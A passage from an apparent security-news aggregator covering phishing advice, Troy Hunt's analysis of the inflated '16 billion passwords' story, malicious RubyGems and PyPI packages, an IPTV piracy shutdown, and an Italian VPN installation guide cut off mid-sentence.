explicitly designed to steal the credentials of marketing managers, social media staff, and especially those who have access to company Facebook Pages or business accounts. Compromising a business account can allow attackers to run malicious ads using the company’s payment methods, demand a ransom for return of control over the account, or use the company’s reputation to spread more scams. What to do If you suspect your credentials may have been compromised, immediately change your passwords, enable multi-factor authentication, and notify your IT/security team if you have one. You can stay safe from these attacks by: Be super cautious at engaging in job offers that you have not applied for. Carefully check the URLs, both in the email and on the website, before you click them (did you notice the missing “i” in the domain name?) Check if the address in the browser bar matches what you expect to see, along with the content of the website. Learn how to spot and recognize phishing attempts. Phishing mails are getting harder to identify now that cybercriminals are using Artificial Intelligence (AI). Keep your browser, your Operating System, and other software up to date. Use an up-to-date real-time anti-malware solution with web protection. Since the phishing campaign was hosted behind Cloudflare’s services, we have notified Netflix and Cloudflare about this campaign. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

malwarebytes.comAug 14, 2025extracted

That 16 Billion Password Story (AKA "Data Troll")

Spoiler: I have data from the story in the title of this post, it's mostly what I expected it to be, I've just added it to HIBP where I've called it "Data Troll", and I'm going to give everyone a lot more context below. Here goes: Headlines one-upping each other on the number of passwords exposed in a data breach have become somewhat of a sport in recent years. Each new story wants to present a number that surpasses the previous story, and the clickbait cycle continues. You can see it coming a mile away, and you just know the reality is somewhat less than the headline, but how much less? And so it was in June when a story with this title hit the headlines: 16 billion passwords exposed in record-breaking data breach. I thought this would be another standard run-of-the-mill sensational headline that would catch a few eyeballs for a couple of days then be forgotten, but no, apparently not. It started with a huge volume of interest in Have I Been Pwned: That's Google searches for my "little" project, which I found odd, because we hadn't put any data in HIBP! But that initial story gained so much traction and entered the mainstream media to the extent that many publications directed people to HIBP, and inevitably, there was a bunch of searching done to figure out what the service actually was. And the news is still coming out - this story landed on AOL just last week: You know it's serious because of all the red and exclamation marks... but per the article, "you don't need to panic" 🤷♂️ Enough speculating, let's get into what's actually in here, and for that, I went straight to the source: Bob is a quality researcher who has been very successful over the years at sniffing out breached data, some of which had previously ended up in HIBP as a result of his good work. So we had a chat about this trove, and the first thing he made clear was that this isn't a single source of exposure, but rather different infostealer data sets that have been publicly exposed this year. The headlines implying this was a massive breach are misleading; stealer logs are produced from individually compromised machines and occasionally bundled up and redistributed. Bob also pointed out that many of the data sets were no longer exposed, and he didn't have a copy of all of them. But he did have a subset of the data he was happy to send over for HIBP, so let's analyse that. All told, the data Bob sent contained 10 JSON files totalling 775GB across 2.7B rows. An intial cursory check against HIBP showed more than 90% of the email addresses were already in there, and of those that were in previous stealer logs, there was a high correlation of matching website domains. What I mean by this is that if the data Bob sent had someone's email address and password captured when logging into Netflix and Spotify, that person was probably already in HIBP's stealer logs against Netflix and Spotify. In other words, there's a lot of data we've seen before. So, what do we make of all this, especially since the corpus Bob sent is about 17% of the reported 16B headline? Let me speak generally about how these data sets tend to have hyperbolic headlines, and the numbers of actual impact are way smaller: There's usually duplication across files, as the same data appears multiple times There's also often duplication within the same file, again, as the same data reappears A "row" is an instance of someone's email address and password listed next to a website they're logging onto, so 100 distinct rows may all be one person The corpus of data I received contained 2.7B rows, of which I was able to extract 325M unique stealer log entries. That's the number of rows I could successfully parse out website, email address and password values from. In my earlier example with the one person's credentials captured for both Netflix and Spotify, that would mean two unique stealer log records. All of this then distilled down to 109M unique email addresses across all the files, and that's the number you'll now see in HIBP. In other words, 2.7B -> 109M is a 96% reduction from headline to people. Could we apply the same maths to the 16B headline? We'll never know for sure, but I betcha the decrease is even greater; I doubt additional corpuses to the tune of that many billion would continue to add new email addresses, and the duplication ratio would increase. Because it always comes up after loading stealer logs, a quick caveat: Not all email addresses loaded into this breach will contain corresponding stealer log entries. This is because we have one process to regex out all the addresses (the code is open source), and another process that pulls rows with email addresses against valid websites and passwords. And because I'll end up copying and pasting this over and over again in responses to queries, another caveat: Presence in a stealer log is often an indicator of an infected device, but we have no data to indicate when it was infected. There will be a lot of old data in here, just as there's a lot of repackaged data. Of the passwords in valid stealer log entries, there were 231M unique ones, and we'd seen 96% of them before. Those are now all in Pwned Passwords with updated prevalence counts and are searchable via the website and, of course, via the API. Speaking of which, those passwords are presently being searched a lot: Every time I look, there's another billion (or two) pic.twitter.com/X7gflzWdCH — Troy Hunt (@troyhunt) July 30, 2025 Of the 109M email addresses we could parse out of the corpus, 96% of them were already in HIBP (that number coincidentally matches the percentage of existing passwords we track). They weren't all from previous stealer logs, of course, but anecdotally, during my testing, I found a lot of crossover between this one and the ALIEN TXTBASE logs from earlier this year. Regardless, we added 4.4M new addresses from Data Troll that we'd never seen before, so that alone is significant. Not significant enough to justify hyperbolic headlines to the effect of "biggest ever", but still sizeable. To summarise: The 16B headline distils down to a much smaller number of unique values of actual impact The data is largely from stealer logs that have been circulating for some time now It's certainly not fresh and doesn't pose any new risks that weren't already present And lastly, there's that "Data Troll" title. When I first saw this story getting so much traction, the image I had in my mind was of a troll sitting on stashes of data. The mass media then picked this up and turned it into deliberately provocative headlines, manipulating the narrative to seek attention. Hopefully, this post tempers all that a little bit and brings some sanity back into the discussion. We need to take data exposures like this seriously, but it certainly didn't deserve the attention it got.

troyhunt.comAug 13, 2025extracted

RubyGems, PyPI Hit by Malicious Packages Stealing Credentials, Crypto, Forcing Security Changes

A fresh set of 60 malicious packages has been uncovered targeting the RubyGems ecosystem by posing as seemingly innocuous automation tools for social media, blogging, or messaging services to steal credentials from unsuspecting users and likely resell them on dark web forums like Russian Market. The activity is assessed to be active since at least March 2023, according to the software supply chain security company Socket. Cumulatively, the gems have been downloaded more than 275,000 times. That said, it bears noting that the figure may not accurately represent the actual number of compromised systems, as not every download results in execution, and it's possible several of these gems have been downloaded to a single machine. "Since at least March 2023, a threat actor using the aliases zon, nowon, kwonsoonje, and soonje has published 60 malicious gems posing as automation tools for Instagram, Twitter/X, TikTok, WordPress, Telegram, Kakao, and Naver," security researcher Kirill Boychenko said. While the identified gems offered the promised functionality, such as bulk posting or engagement, they also harbored covert functionality to exfiltrate usernames and passwords to an external server under the threat actor's control by displaying a simple graphical user interface to enter users' credentials. Some of the gems, such as njongto_duo and jongmogtolon, are notable for focusing on financial discussion platforms, with the libraries marketed as tools to flood investment-related forums with ticker mentions, stock narratives, and synthetic engagement to amplify visibility and manipulate public perception. The servers that are used to receive the captured information include programzon[.]com, appspace[.]kr, and marketingduo[.]co[.]kr. These domains have been found to advertise bulk messaging, phone number scraping, and automated social media tools. Victims of the campaign are likely to be grey-hat marketers who rely on such tools to run spam, search engine optimization (SEO), and engagement campaigns that artificially boost engagement. "Each gem functions as a Windows-targeting infostealer, primarily (but not exclusively) aimed at South Korean users, as evidenced by Korean-language UIs and exfiltration to .kr domains," Socket said. "The campaign evolved across multiple aliases and infrastructure waves, suggesting a mature and persistent operation." "By embedding credential theft functionality within gems marketed to automation-focused grey-hat users, the threat actor covertly captures sensitive data while blending into activity that appears legitimate." The development comes as GitLab detected multiple typosquatting packages on the Python Package Index (PyPI) that are designed to steal cryptocurrency from Bittensor wallets by hijacking the legitimate staking functions. The names of the Python libraries, which mimic bittensor and bittensor-cli, are below - bitensor (versions 9.9.4 and 9.9.5) bittenso-cli (version 9.9.4) qbittensor (version 9.9.4) bittenso (version 9.9.5) "The attackers appear to have specifically targeted staking operations for calculated reasons," GitLab's Vulnerability Research team said. "By hiding malicious code within legitimate-looking staking functionality, the attackers exploited both the technical requirements and user psychology of routine blockchain operations." The disclosure also follows new restrictions imposed by PyPI maintainers to secure Python package installers and inspectors from confusion attacks arising from ZIP parser implementations. Put differently, PyPI said it will reject Python packages "wheels" (which are nothing but ZIP archives) that attempt to exploit ZIP confusion attacks and smuggle malicious payloads past manual reviews and automated detection tools. "This has been done in response to the discovery that the popular installer uv has a different extraction behavior to many Python-based installers that use the ZIP parser implementation provided by the zipfile standard library module," the Python Software Foundation's (PSF) Seth Michael Larson said. PyPI credited Caleb Brown from the Google Open Source Security Team and Tim Hatch from Netflix for reporting the issue. It also said it will warn users when they publish wheels whose ZIP contents don't match the included RECORD metadata file. "After 6 months of warnings, on February 1st, 2026, PyPI will begin rejecting newly uploaded wheels whose ZIP contents don't match the included RECORD metadata file," Larsen said.

thehackernews.comAug 8, 2025extracted

Massive IPTV piracy service with 28,000 channels taken offline

The Alliance for Creativity and Entertainment (ACE) announced the shutdown of Rare Breed TV, a major illegal IPTV service provider, after reaching a financial settlement with its operators. North Carolina-based Rare Breed TV was one of the world's largest digital piracy operations, claiming to offer subscribers access to over 28,000 channels and more than 100,000 movies and series. "As part of the agreement, the operators will permanently shut down their illegal service and pay a significant financial settlement. Rare Breed IPTV was an unauthorized streaming platform that operated for years, offering thousands of live television channels and a video-on-demand library featuring more than 14,000 titles—all without the consent of the copyright holders," ACE said on Wednesday. "With support from its member studios, ACE identified the individuals behind Rare Breed and contacted them in North Carolina. Following ACE's enforcement efforts, the operators agreed to cease their infringing activities, pay financial compensation, and fully cooperate with ACE going forward." However, while ACE says the pirate service operators agreed to shut down their illegal IPTV platform, the Rare Breed TV website was still online when this story was published, offering subscriptions ranging from $15.99/ month to $79.99 for a full year. An ACE spokesperson was not immediately available for comment when contacted by BleepingComputer earlier today. ACE is a coalition of over 50 media and entertainment companies worldwide, including the world's largest film studios and television networks, focused on shutting down illegal streaming services. It also collaborates with law enforcement organizations, including the U.S. Department of Justice, Europol, and Interpol, to target large-scale illegal streaming networks. The coalition's governing board includes companies such as Amazon, Apple TV+, Universal Studios, The Walt Disney Studios, Netflix, Paramount Global, Sony Pictures, and Warner Bros. Discovery. Since its establishment in June 2017, ACE has successfully taken down numerous piracy platforms, including the streaming providers Openload and Streamango, the pirate IPTV service Beast IPTV, the 123movies.la streaming site, and the world's largest anime piracy site, Zoro.to. Last year, it also helped sentence five men linked to the Jetflicks illegal streaming service, shutter a pirate TV streaming network that made millions of dollars since its launch in 2015, dismantle a pirate streaming service with over 22 million users and making over €250 million ($263M) each month, and take down Markkystreams, one of the largest live sports streaming piracy rings, with over 821 million yearly visits. "This enforcement action sends a strong message to piracy operators worldwide," added Larissa Knapp, Executive Vice President at the Motion Picture Association (MPA), on Wednesday. "Operating an illegal streaming service comes with serious consequences—including lawsuits, substantial financial penalties, and permanent shutdown." Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

bleepingcomputer.comAug 7, 2025extracted

Il segreto per navigare in sicurezza: ecco come installare una VPN

Installare una VPN può sembrare complicato, ma in realtà è un processo abbastanza semplice, soprattutto se si utilizza un servizio VPN commerciale. Ecco una guida generale che aiuterà a capire i passaggi principali. Indice degli argomenti Una VPN, acronimo di Virtual Private Network, è una tecnologia che crea un “tunnel” crittografato tra il dispositivo dell’utente e un server remoto gestito dal provider VPN. Attraverso questo tunnel, tutti i dati vengono trasmessi in modo sicuro e protetto da occhi indiscreti, rendendo di fatto anonima la navigazione. La VPN maschera l’indirizzo IP reale dell’utente, sostituendolo con quello del server remoto a cui ci si connette, e consente di aggirare eventuali restrizioni territoriali imposte da piattaforme o governi. L’installazione di una VPN è consigliata in numerose situazioni: quando si vuole evitare il tracciamento da parte di inserzionisti e motori di ricerca, quando si lavora da remoto su reti pubbliche o aziendali sensibili, oppure per sbloccare contenuti digitali accessibili solo da specifiche aree geografiche. Navigando senza VPN l’indirizzo IP pubblico e molte informazioni sul comportamento online vengono registrate da siti web, provider di servizi internet (ISP), motori di ricerca e social network. La VPN impedisce che queste informazioni vengano raccolte, offrendo un maggiore livello di anonimato digitale. Nei Paesi con normative restrittive sulla libertà d’informazione, la VPN diventa uno strumento vitale per accedere a notizie, social media o comunicare in modo sicuro. Piattaforme come Netflix, Amazon Prime Video, BBC iPlayer o Hulu mostrano un catalogo diverso a seconda del Paese in cui ci si trova. Con una VPN è possibile simulare la connessione da un altro Stato e accedere a contenuti esclusivi non disponibili in Italia. Questo vale anche per eventi sportivi trasmessi in streaming, software disponibili solo in certi mercati, o servizi limitati da firewall aziendali o scolastici. I Wi-Fi pubblici presenti in bar, aeroporti o biblioteche non sono sicuri: chiunque sia connesso alla stessa rete potrebbe intercettare i dati trasmessi dagli altri utenti. Una VPN cripta completamente il traffico in entrata e in uscita dal dispositivo, proteggendo password, email, messaggi e transazioni bancarie da attacchi di tipo man-in-the-middle o sniffing. 1. Scegliere un servizio VPN Il primo passo è scegliere un provider VPN. Ci sono molti servizi disponibili, sia gratuiti che a pagamento. I servizi a pagamento offrono generalmente maggiore sicurezza, velocità e affidabilità. Quando si sceglie una VPN valutare: Affidabilità e sicurezza: Assicurarsi che sia una VPN con una solida politica di “no-log” (non registra le attività online) e che utilizzi protocolli di crittografia robusti. Velocità: Una buona VPN non dovrebbe rallentare in modo significativo la nostra connessione. Server disponibili: Un numero maggiore di server in diverse posizioni geografiche ci dà più opzioni per mascherare la nostra posizione. Prezzo: Confrontare i piani di abbonamento e scegliere quello più adatto alle nostre esigenze e al budget. 2. Iscriversi al servizio e scaricare l’app VPN Una volta scelto il provider, sottoscriviamo l’abbonamento e creiamo un account. Dopo aver completato l’iscrizione, avremo accesso alla nostra area utente da cui potremo scaricare il software o l’app del servizio per il nostro dispositivo (PC, Mac, smartphone, tablet, ecc.). 3. Installare l’applicazione VPN Su PC/MacOS: Scaricare il file di installazione (generalmente un file .exe per Windows o.dmg per macOS) e avviare il processo di installazione. Seguire le istruzioni sullo schermo, che di solito consistono nel cliccare su “Avanti” o “Installa” e accettare i termini di servizio. Su smartphone/tablet (Android/iOS): Andare su Google Play Store o all’App Store di Apple, cercare il nome del servizio VPN e scaricare l’app ufficiale. L’installazione è automatica. 4. Configurare e connettersi alla VPN Dopo l’installazione, aprire l’app VPN. Ci verrà chiesto di inserire le credenziali dell’account (nome utente e password) creati durante l’iscrizione. Una volta effettuato l’accesso, l’app ci mostrerà un elenco di server disponibili. A questo punto, possiamo: Scegliere un server specifico: Seleziona un paese o una città da cui vuoi far apparire la tua connessione. Usare la connessione rapida: Molte app offrono un’opzione “Connessione rapida” o “Server più veloce” che ti connette automaticamente al server più performante in base alla tua posizione. Clicca sul pulsante “Connetti” o “Accendi” e, dopo pochi istanti, la tua connessione sarà protetta dalla VPN. Metodi alternativi di installazione (più avanzati): Configurazione manuale: Alcuni sistemi operativi (come Windows, macOS, Android e iOS) permettono di configurare manualmente una VPN senza installare l’app del provider. Questo richiede l’inserimento di dati specifici forniti dal servizio VPN, come l’indirizzo del server, il tipo di protocollo e le credenziali. Installazione su router: Si può installare la VPN direttamente sul router. Questo è un processo più tecnico che richiede un router compatibile e una conoscenza specifica delle impostazioni di rete. La scelta della VPN giusta dipende da diversi fattori, tra cui le esigenze personali, il budget a disposizione, la compatibilità con i dispositivi in uso e il livello di sicurezza desiderato. Sul mercato esistono decine di servizi VPN, ognuno con caratteristiche diverse: alcuni puntano tutto sulla velocità, altri sulla privacy, altri ancora offrono funzionalità avanzate per lo streaming o il download peer-to-peer. Le VPN gratuite sono adatte per un utilizzo molto limitato e occasionale. Questi servizi offrono tipicamente una selezione ristretta di server (spesso sovraccarichi), una quantità di dati giornaliera limitata (es. 500 MB), e non sempre garantiscono protocolli di crittografia sicuri. Inoltre, alcuni provider gratuiti monetizzano raccogliendo e vendendo i dati degli utenti a terze parti. Le VPN a pagamento, invece, offrono maggiore affidabilità, una rete di server globale, politiche no-log certificate, supporto tecnico attivo 24/7, protocolli avanzati come OpenVPN, WireGuard o IKEv2, e funzionalità come lo split tunneling o il kill switch automatico in caso di caduta della connessione VPN. La velocità è fondamentale per chi utilizza la VPN per streaming HD, videoconferenze o download di file di grandi dimensioni. Alcune VPN offrono server ottimizzati per queste attività, con larghezza di banda illimitata. In termini di sicurezza, è importante che il provider usi crittografia AES-256, supporti protocolli sicuri e offra una politica “no-log” verificata da audit esterni. Infine, il numero e la distribuzione geografica dei server sono essenziali: più sono, maggiori sono le opzioni per simulare la connessione da vari Paesi e ottenere prestazioni ottimali. Di seguito tre soluzioni di VPN a pagamento utili per lo streaming con informazioni su caratteristiche, vantaggi, svantaggi e indicazioni sui piani. 🌍 Server: 7.000+ server in 118 paesi 📱 Massimo dispositivi: 10 📍 IP dedicato: ✔ 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: IKEv2/IPsec, OpenVPN, NordLynx 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Panama 🔥 Offerte attive: SCONTO fino al 63% NordVPN mette a disposizione una delle reti più estese al mondo, con oltre 7.000 server distribuiti in circa 120 paesi. Tra questi figurano server ottimizzati per il traffico P2P, accesso diretto alla rete Tor, doppia cifratura per una protezione multilivello e IP dedicati. La VPN utilizza protocolli all’avanguardia come NordLynx (derivato da WireGuard), OpenVPN e IKEv2/IPsec, a cui si è recentemente aggiunto NordWhisper: un nuovo protocollo capace di camuffare il traffico VPN da normale traffico HTTPS, utile per superare firewall e restrizioni di rete. La sicurezza si basa su cifratura AES-256 o ChaCha20 e su una rigorosa politica no-log, confermata da audit indipendenti, con l’ulteriore garanzia offerta da server RAM-only che eliminano ogni dato a ogni riavvio. L’offerta di NordVPN si basa su diversi pacchetti di abbonamento, che variano per durata (2 anni, 1 anno, 1 mese) e per i servizi inclusi. L’obiettivo principale è fornire un pacchetto di sicurezza online completo, che va oltre la semplice VPN. Tutti i piani includono una garanzia di rimborso di 30 giorni. I tre piani principali sono: Base: Include la VPN di base, sicura e veloce. Plus: Aggiunge alla VPN di base una serie di funzionalità per la protezione avanzata: un sistema anti-malware, un blocco per pubblicità e tracker, e un password manager con mascheramento dell’email. Ultimate: È il pacchetto più completo. Include tutto ciò che è presente nel piano Plus, aggiungendo un terabyte di spazio di archiviazione cloud criptato e un’assicurazione cyber che offre una copertura fino a 5000 € per perdite dovute a truffe informatiche e furto d’identità. iani di 2 anni iani di 1 anno NordVPN piani di 1 mese 🌍 Server: 3200+ in 100 paesi 📱 Massimo dispositivi: illimitati 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: OpenVPN, IKEv2, Shadowsocks, Wireguard e L2TP 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Paesi Bassi 🔥 Offerte attive: SCONTO fino all’83% + 3 mesi gratis 🔥 Surfshark è oggi una delle VPN più apprezzate per chi cerca un equilibrio tra prestazioni, sicurezza e accessibilità economica. La sua rete si compone di oltre 3.200 server distribuiti in più di 100 paesi, progettata per garantire connessioni rapide e affidabili. Il traffico dati viene protetto attraverso una crittografia AES 256 di livello militare, supportata dai protocolli più avanzati come WireGuard, OpenVPN e IKEv2. L’interfaccia delle applicazioni è particolarmente intuitiva, rendendo l’esperienza d’uso semplice su tutte le piattaforme: Windows, macOS, Linux, Android, iOS e anche tramite estensioni browser per Chrome, Firefox ed Edge. Sul fronte delle funzionalità, Surfshark si presenta con un pacchetto ricco e pensato per utenti attenti alla sicurezza. Sono inclusi strumenti come il kill switch automatico, la modalità MultiHop che instrada il traffico attraverso due server VPN concatenati, e l’obfuscation per rendere invisibile il traffico VPN ai sistemi di ispezione più rigidi. Il Bypasser, ovvero la funzione di split tunneling, consente di escludere app o siti specifici dalla protezione VPN. Altri strumenti includono la rotazione automatica degli indirizzi IP, il GPS spoofing per simulare la posizione geografica, e CleanWeb, una protezione DNS che blocca pubblicità, tracker e malware già a livello di rete. Un grande punto di forza è l’assenza di limiti sul numero di dispositivi connessi contemporaneamente: una caratteristica rara tra le VPN premium. Surfshark offre tre diversi pacchetti, Starter, One e One+ ognuno con funzionalità aggiuntive. La differenza di prezzo tra i pacchetti riflette i servizi inclusi oltre alla semplice VPN. Ecco una tabella comparativa per conoscere cosa si ottiene con ogni piano. Il pacchetto Starter è l’opzione base di Surfshark. È ideale per chi cerca una soluzione semplice ed efficace per la privacy online senza fronzoli aggiuntivi. Cosa include: VPN completa e sicura: È la funzionalità principale: permette di nascondere l’indirizzo IP, crittografare la connessione e accedere a contenuti bloccati geograficamente. Dispositivi illimitati: Si può installare e utilizzare la VPN su un numero illimitato di dispositivi (PC, smartphone, tablet, smart TV, ecc.) con un unico abbonamento. Blocco annunci e tracker (CleanWeb): Questa funzionalità integrata blocca pubblicità, pop-up e tracker, migliorando la velocità di navigazione e la privacy. Posizioni dei server: Accesso a oltre 3200 server in 100 paesi. Politica di no-log verificata: Surfshark ha una politica rigorosa per non registrare le attività online, verificata da audit indipendenti. Per chi è consigliato Surfshark: Utenti che cercano una VPN di alta qualità a un prezzo accessibile. Persone che vogliono proteggere la propria navigazione su Wi-Fi pubblici e sbloccare contenuti geo-limitati. Chiunque voglia un livello base di protezione da annunci e tracker online. Il pacchetto One è un’evoluzione del pacchetto Starter. Oltre alla VPN, include una serie di strumenti di sicurezza aggiuntivi per una protezione più completa. Cosa include: Tutte le funzionalità del pacchetto Starter. Antivirus: Una protezione per i dispositivi contro virus, malware e tentativi di phishing. Alternative ID: Questa funzione ti permette di creare un’identità online e un’email “usa e getta” per proteggere i dati personali da spam e furti d’identità. Monitoraggio del dark web (Alert): Avvisa se le credenziali personali (come indirizzi email o password) sono trapelate in una violazione di dati. Surfshark Search: Un motore di ricerca privato che non traccia le ricerche e non mostra pubblicità. Per chi è consigliato: Utenti che vogliono una protezione completa per i loro dispositivi, non solo la VPN. Chi è preoccupato per il furto d’identità e vuole essere avvisato in caso di violazioni dei dati. Persone che cercano un’alternativa sicura ai motori di ricerca tradizionali. Il pacchetto One+ è l’offerta più completa e premium di Surfshark. Include tutte le funzionalità dei pacchetti Starter e One, con l’aggiunta del servizio Incogni per la rimozione dei dati personali. Cosa include: Tutte le funzionalità del pacchetto Starter e del pacchetto One. Rimozione dei dati personali (Incogni): Questo è il servizio distintivo del pacchetto One+. Surfshark si occupa per te di contattare i data broker (aziende che raccolgono e vendono dati personali) per richiedere la rimozione delle informazioni dai loro database. Per chi è consigliato: Utenti che desiderano la massima protezione e privacy online. Persone particolarmente attente alla propria impronta digitale e che vogliono eliminare i propri dati personali dal web. Chi cerca una soluzione all-in-one che non solo protegga attivamente ma agisca anche per rimuovere i dati già presenti online 🌍 Server: 3000 server in 105 paesi 📱 Massimo dispositivi: 8 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS, Linux 🔐 Sicurezza: IKEv2, OpenVPN 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Isole Vergini Britanniche 🔥 Offerte attive: SCONTO fino al 49% + 3 mesi GRATIS ExpressVPN è una delle VPN più conosciute sul mercato, e propone tre pacchetti Base, Avanzato e Pro in abbonamento della durata di 2 anni (+ 4 mesi gratis), 12 mesi (+ 3 mesi gratis) e 1 mese. L’elemento principale da considerare è che tutti i piani, indipendentemente dalla durata, includono le funzionalità essenziali di una VPN: Connessioni sicure e veloci: Utilizzo del protocollo proprietario Lightway. Crittografia avanzata: Per navigare in sicurezza, anche su Wi-Fi pubblici. Politica “zero-log”: Non viene registrata nessuna tua attività online. Accesso a server globali: In 105 paesi, per superare restrizioni geografiche e accedere a contenuti internazionali. Compatibilità estesa: Funziona su tutti i principali sistemi operativi e browser. Garanzia di rimborso: 30 giorni per provare il servizio senza rischi (per i nuovi utenti). La differenza principale tra i vari piani risiede nelle funzionalità aggiuntive che offrono e nel numero di dispositivi che si possono contemporaneamente. Questo è il piano più economico. Offre tutte le funzionalità essenziali della VPN per proteggere la privacy e accedere ai contenuti globali. È l’opzione perfetta se si ha bisogno solo delle funzioni base e si vogliono collegare fino a 10 dispositivi contemporaneamente. Questo piano è il più popolare e offre un ottimo equilibrio tra prezzo e funzionalità. Include tutto ciò che è nel piano Base più una serie di strumenti di sicurezza aggiuntivi come la protezione avanzata contro pubblicità, tracker e siti dannosi, e un gestore di password. Offre anche un piccolo bonus con una eSIM da 3 GB. Il piano Pro è l’opzione più completa e costosa, pensata per chi ha bisogno di un livello di protezione e flessibilità ancora maggiore. Oltre a tutte le funzioni dei piani precedenti, aggiunge la possibilità di collegare fino a 14 dispositivi e, soprattutto, include un IP dedicato, che può essere utile per alcune attività online specifiche. Lo sconto su Aircove (il router VPN dell’azienda) è il più alto, ed è inclusa anche una eSIM più grande da 5 GB. Per installare una VPN su un computer con sistema operativo Windows bisogna innanzitutto scegliere un provider compatibile con Windows 10 o 11. Una volta individuato il servizio è necessario accedere al sito ufficiale, effettuare la registrazione e procedere con il download del software. I principali fornitori offrono pacchetti di installazione in formato .exe, facili da gestire anche per utenti poco esperti. Dopo aver scaricato il file è sufficiente fare doppio clic per avviare il processo di installazione. Windows potrebbe mostrare una finestra di controllo dell’account utente per autorizzare le modifiche al sistema: è necessario concedere il permesso per procedere. L’installazione guidata propone in genere alcune opzioni come la scelta della cartella di destinazione o l’aggiunta di collegamenti rapidi. Una volta completata l’installazione il programma sarà disponibile nel menu Start e, nella maggior parte dei casi, si avvierà automaticamente. All’apertura dell’applicazione VPN verrà richiesto di effettuare l’accesso con le credenziali registrate in precedenza. Dopo l’autenticazione si potrà accedere all’interfaccia utente del client dove è possibile selezionare il server a cui connettersi. I server sono solitamente organizzati per Paese o per tipo di utilizzo (streaming, download, giochi online). Scegliendo il server più adatto alle proprie esigenze, sarà sufficiente cliccare su “Connetti” o su un pulsante equivalente per avviare la connessione sicura. Una volta connessi la VPN sostituirà l’indirizzo IP reale dell’utente con quello del server remoto criptando tutto il traffico in entrata e in uscita dal dispositivo. L’interfaccia del client indicherà lo stato della connessione, spesso accompagnata da un’icona nella barra delle applicazioni, visibile accanto all’orologio di sistema. Per disconnettersi, basterà riaprire il client e cliccare su “Disconnetti”. In caso di problemi durante la connessione il software include di solito strumenti di diagnostica e suggerimenti automatici. Se la VPN non riesce a stabilire la connessione è consigliabile provare a cambiare server, modificare il protocollo (passando ad esempio da OpenVPN a WireGuard), riavviare il PC o disattivare temporaneamente l’antivirus o il firewall di terze parti che potrebbero interferire. Alcuni provider offrono anche un’opzione “kill switch” per bloccare tutto il traffico di rete se la connessione VPN cade improvvisamente, garantendo così la protezione continua dei dati. Per scaricare e installare il software client di una VPN su un computer Windows è innanzitutto necessario accedere al sito ufficiale del provider VPN scelto facendo attenzione a non utilizzare link promozionali o fonti non attendibili per evitare software contraffatti o potenzialmente dannosi. Una volta giunti sulla pagina dedicata ai download è sufficiente selezionare la versione adatta al sistema operativo in uso: in questo caso, Windows. I provider più affidabili riconoscono automaticamente il sistema operativo e propongono il file corretto, generalmente con estensione .exe. Cliccando sul pulsante di download il file viene salvato nella cartella predefinita del browser, in genere “Download”. Terminato il download è necessario fare doppio clic sul file per avviare l’installazione guidata. Il sistema operativo mostrerà una finestra di dialogo per autorizzare le modifiche: l’utente deve confermare per permettere al programma di installarsi. La procedura guidata include alcuni passaggi standard come l’accettazione dei termini di servizio, la scelta della cartella di installazione e, in alcuni casi, la possibilità di selezionare componenti aggiuntivi o impostazioni avanzate. Durante l’installazione il client può scaricare file secondari o aggiornamenti necessari al corretto funzionamento. Una volta completata l’installazione l’icona dell’app comparirà nel menu Start e potrà essere avviata immediatamente. Alcuni provider configurano il client per partire automaticamente all’accensione del computer e offrono un primo avvio guidato utile per chi è alle prime armi. Da quel momento il software sarà pronto per essere utilizzato: basterà accedere con le proprie credenziali per connettersi in modo sicuro a un server VPN e proteggere il proprio traffico online. Una volta installato il software client della VPN sul tuo computer Windows il passo successivo consiste nella configurazione iniziale e nella connessione a un server. All’apertura dell’applicazione ti verrà generalmente richiesto di accedere utilizzando le credenziali del tuo account, ovvero l’email e la password create al momento della registrazione sul sito del provider VPN. Dopo l’autenticazione l’interfaccia principale del client si presenterà con una mappa interattiva o con un elenco di server suddivisi per Paese, regione o utilizzo consigliato. A questo punto si potrà scegliere il server a cui connettersi in base alle esigenze specifiche. Se si desidera aumentare la velocità di navigazione o minimizzare la latenza, conviene selezionare un server geograficamente vicino alla propria posizione attuale. Se invece si intende accedere a contenuti geo-bloccati in un altro Paese, come un catalogo di Netflix estero o un sito di news internazionale, si dovrà selezionare un server situato in quel Paese. Una volta selezionato il server è sufficiente cliccare sul pulsante “Connetti” o “Connect” presente nell’interfaccia del client. Il software stabilirà automaticamente il tunnel crittografato e, in pochi secondi, mostrerà lo stato della connessione attiva. Alcuni client forniscono anche informazioni aggiuntive, come il nuovo indirizzo IP assegnato, il protocollo in uso (WireGuard, OpenVPN, IKEv2, ecc.), la durata della sessione e la velocità di trasferimento dati in tempo reale. Durante l’utilizzo, la connessione VPN resta attiva in background e protegge tutte le attività di rete. Si può cambiare server in qualsiasi momento semplicemente interrompendo la connessione attuale e selezionandone uno nuovo. Al termine della sessione, basterà cliccare su “Disconnetti” per tornare alla connessione diretta. In alcuni software, si possono anche salvare i server preferiti, impostare la connessione automatica all’avvio del sistema o attivare funzionalità avanzate come il kill switch e lo split tunneling, che permettono di instradare solo parte del traffico attraverso la VPN. Quando si utilizza una VPN su Windows può capitare che la connessione non si stabilisca correttamente o che risulti instabile. Risolvere questi problemi comuni richiede un approccio graduale a partire dalla verifica degli elementi di base. Innanzitutto, è importante assicurarsi che la connessione a Internet funzioni regolarmente anche senza VPN: una rete debole, instabile o assente impedisce alla VPN di operare correttamente. Se la connessione Internet è attiva, il problema potrebbe riguardare il server selezionato. Alcuni server VPN possono essere temporaneamente offline o congestionati, specialmente durante le ore di punta, ed è quindi consigliabile provare a connettersi a un server diverso, magari più vicino geograficamente. Un altro aspetto da controllare è il protocollo VPN in uso. Molti client permettono di scegliere tra protocolli differenti come WireGuard, OpenVPN (nelle varianti UDP o TCP), IKEv2 o altri ancora. Se la connessione fallisce con un protocollo, modificarlo dalle impostazioni del client può risolvere il problema. Ad esempio, passare da UDP a TCP migliora la stabilità in reti soggette a filtraggio aggressivo. In alcuni contesti, soprattutto in reti aziendali o universitarie, 